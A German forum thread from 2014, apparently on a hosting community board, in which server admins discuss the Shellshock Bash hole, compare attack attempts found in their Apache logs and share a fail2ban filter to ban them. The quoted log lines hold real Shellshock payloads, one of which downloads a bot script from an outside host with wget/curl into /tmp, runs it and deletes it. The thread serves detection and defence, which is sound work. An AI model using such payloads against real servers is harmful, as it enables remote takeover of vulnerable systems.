Update bezgl Bash-Lücke

  • Davon abgesehen dass es langsam wirklich nicht mehr hier in das Thema gehört - was meinst du mit "was spricht eigentlich dagegen" - gegen sudo? Es spricht vieles für sudo, du kannst damit eben eine "Adminmacht" beschränken aber dennoch das System administrieren ohne den root auszupacken... aber wenn du sudo so gar nicht haben willst:

    Zitat

    passwd root

    (nicht dass hier gleich Schläge kommen aber wir sind doch alle erwachsen und sollten wissen was wir tun..)

  • Guten Abend alle zusammen,


    ich finde was die Geschichte mit dem Betriebsystem angeht hat jeder seine eigenen Vorlieben welches Linux oder ggf. Windows er benutzen möchte.


    patrickhp Eine Frage hätte ich, was hatte dich dazu bewegt gleich deinen Ganzen Server platt zu machen ausgenommen der Bash Lücke ?
    Es hatten ja einige (glaub ich) geschrieben das es Anleitung wie Sand am Meer gibt womit du dein jetziges System auf Wheezy upgraden kannst. Wenn du es von Hand in das neue Zeitalter bringt hast du einen sehr hohen Lernfaktor und lernst dein System immer besser kennen und nein das soll keinen Angriff oder derartiges darstellen.


    Mit freundlichen Grüßen



    Skulduggery

  • Um mal wieder zur Bash zukommen^^ Mich erschreckt es dass es solange nicht aufgefallen ist.
    Ich habe mein eigenes System mit Ubuntu 12.04.5 LTS auch abgesichert und auch die Test haben bei mir, Turing sei dank, auch gezeigt, dass es die abgesicherte Version ist.
    Jedoch macht mich ein Log Eintrag nach den Update etwas Stutzig, ich habe es persönlich nicht so mit der Bash (Ziehe Z-Shell vor) und skripten und würde gerne fragen ob wer Schlau daraus wird. Was der Chinese (genaugenomen der Anschluss aus Singapor) da wollte. Vor allem warum ein OK von Server zurück kommt, obwohl der Apache kein CGI, CLI noch Curl aktiviert/Installiert hat.


    Code
    [27/Sep/2014:00:09:50 +0200] "GET / HTTP/1.1" 200 2709 "-" "() { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a"
  • Den hab ich auch :D " Singapore Singapore Amazon.com Inc."


    200 kommt so oder so :o das letzte eigentlich der Useragent ist

    Du merkst, dass ein Bug an dir hoch krabbelt. Du findest ihn nett und nennst ihn Exploit.

  • ich hab noch n viel besseren ;)


    Code
    213.254.12.125 - - [28/Sep/2014:05:33:45 +0200] "GET / HTTP/1.0" 200 455 "-" "() { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh""


    aber sollte nicht eigentlich ne 400 zurück gegeben werden ?

    It's me, only me, pure michi 🦆

    RS 1000 SAS G8 | Cyber Quack

    VPS: 50 G7 |B Ostern 2017|200 | Karneval | piko

    WH: SmallEi | Adv17 Family |4000 SE|1000 SE

  • ich hab noch n viel besseren ;)


    Code
    213.254.12.125 - - [28/Sep/2014:05:33:45 +0200] "GET / HTTP/1.0" 200 455 "-" "() { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh""

    Das würde mir noch weniger gefallen, vor allem da immer mehr Fehler auftauchen in den Bereich. Hier ist nun die Frage ob dass Skript wirklich geladen und ausgeführt wurde, da so wie ich es lese, es ausgeführt werden sollte und dann gelöscht werden sollte.


    Ich persönlich habe nach download aller Log und Durchsuchung und bis auf Oberes nicht entdeckt und mich dann entschieden, meinen Server Temporär sogar Komplett abzuschalten, was dass erste mal war seit 2 Jahren.
    Da mein Server bis auf meine Website, TS und einiger Testumgebung +Gitlab für meine eigenen Programme und manchmal auch nur als Compiler-Server dient, ist dies für mich für 2-3Wochen nicht so problematisch.
    Obwohl ich zugebe, es war etwas drastisch die Entscheidung, jedoch nutzt Git eine eigene Bash, was als Lücke damit existiert.


    Muss halt meine Raspberry Pi nun Überstunden schieben und ich sehe den Vorteil: In der VBOX auf meinen Rechner, läuft mein Server weiter und ich kann in Ruhe alles für Ubuntu 14.04.1 LTS vorbereiten.

  • Ne, die Antwort 200 ist schon korrekt da die HTTP Anfrage (per GET) an das root verzeichnis (nicht der root des Servers sondern das root-Dir des Webservers) ging und dieses logischerweise vorhanden ist. 200 sagt ja nur "OK", ich liefere mal was zurück. 400 wäre ein Bad Request und das hieße der Request selbst wäre "nicht korrekt" - immer aus Sicht des Webservers. Und von dem aus ist ja alles gut... Das macht keine Aussage ob da was ausgeführt wurde oder nicht, es wäre jedoch eher untypisch da dies ja hieße dein Webserver führt direkt irgendwas in der Bash aus.... im Regelfall (selbst mit verwundbarem System) würde diese Anfrage einfach nichts machen und nur in speziellen Fällen eben auf Server treffen die tatsächlich für die Hauptseite CGI oder etwas in der Richtung am Laufen haben. Das ist derzeit eben so das "rumgestochere" nach verwundbaren Systemen, viele Script-Kiddies sind hier halt aus ihren Löchern gekrochen und fühlen sich jetzt bisschen cool....


    Prüfen kannst du im Endeffekt recht einfach ob da was losgelaufen sein kann, stell selber die Anfrage an deinen Webserver nur eben ohne Botdownload sondern z.B. einfach ein "touch /tmp/verdammich" statt dem wget. Findest du unter /tmp/ dann die "verdammich" file würd ich den Server wohl auch entweder plätten oder gründlichst durchforsten - im Regelfall verraten sich Bots etc. ja sowieso durch offene, lauschende oder sogar aktive Ports... also netstat anwerfen und Freude haben - aber hier nochmal: Die Chance das da "getroffen" wurde ist mehr als gering. Wenn dein System zum Zeitpunkt der Anfrage eh schon gefixed war dann hast du gleich zweimal keinen Grund zur Besorgnis (bzw. nicht mehr als man halt immer haben muss wenn man einen Webserver betreibt.... :D).


    Server abschalten deswegen? Also ich von meiner Warte aus: NEVER, das mit dem Raspberry verstehe ich nicht wirklich - hat i.d.R. auch eine bash und wenn du den gefixed hast wieso ist er dann besser als ein "richtiger" Server?!

  • Hi Leute,
    Also es besteht keine Sorge meinerseits, denn der Server war schon gefixt.
    mein Beispiel war auch eher als böses Beispiel gegenüber dem "uname -a" gedacht


    Die logs hatte ich schon ergebnislos durchforstet :)


    Für die noch Unsicheren:
    eine ganz leichte Suche hat man mit foldendem code in der bash

    Code
    cat /var/log/apache2/access.log| grep "(){"


    Wenn hier was zurück kommt ..... Aua ;)
    wolfgang
    danke für die Aufklärung man lernt nie aus :)
    ich dachte die 200 wird nur geschickt wenn die Seite fehlerfrei zurück gegeben wird.


    Gruss


    michi

    It's me, only me, pure michi 🦆

    RS 1000 SAS G8 | Cyber Quack

    VPS: 50 G7 |B Ostern 2017|200 | Karneval | piko

    WH: SmallEi | Adv17 Family |4000 SE|1000 SE

  • Wenn hier was zurück kommt ..... Aua


    Wieso "Aua"? Sind doch nur Logdateien und heißt nicht das es unsicher ist.... nur das es jemand "versucht" hat.


    Edit: oder meinst du "unsicheren" die die noch nicht geupdatet haben? :D dann sags bitte ^^

    Du merkst, dass ein Bug an dir hoch krabbelt. Du findest ihn nett und nennst ihn Exploit.

  • Bei Golem wurde mittlerweile ein kleines Script veröffentlicht, mit dem man sein System prüfen kann. Ob es zuverlässig testet kann ich mangels Programmierkenntnissen nicht beurteilen, aber auf meinem System (Debian Wheezy incl. der letzten Updates) ohne Befund durch.


    Shellshock: Immer mehr Lücken in Bash - Golem.de


    hier der Link zum Script auf GitHub:
    hannob/bashcheck · GitHub

    Learn to sit back and observe. Not everything needs a reaction

  • Ich habe mich mal an Fail2ban gesetzt um unseren diesen Kidis den Spaß etwas zu versauen^^ und mithilfe 2 Blogbeiträge folgendes fertig gebaut:


    Hier die Anleitung:


    Code
    sudo nano /etc/fail2ban/filter.d/shellshock.conf


    Dort folgendes definiert:

    Code
    [Definition]
    failregex  = <HOST>.*\(\s*\)\s*\{[^"]*\}\s*\;[^"]+
    ignoreregex =


    Nun nur noch in jail.local definieren:
    Hier ist einige sicherung jedoch mit

    Code
    sudo cp /etc/fail2ban/jail.local /etc/fail2ban/jail-sicherung


    sehr sinnvoll, sodass man schnell wieder den alten Stand einpflegen kann.
    Nun die jail.local für die neue Regel präparieren:

    Code
    sudo nano /etc/fail2ban/jail.local


    und in Bereich der
    #
    # HTTP servers
    #
    folgenden Eintrag vorgenommen:


    Code
    [shellshock]
    enabled = true
    filter = shellshock
    port = all
    logpath = /var/log/apache2/*access.log
    bantime = 86400
    maxretry = 1


    Dann fail2ban neu starten:

    Code
    sudo service fail2ban restart


    Anschließend die existierenden Logs testen:

    Code
    sudo fail2ban-regex /var/log/apache2/access.log  /etc/fail2ban/filter.d/shellshock.conf


    Meinung und weitere Testergebenisse währen nett^^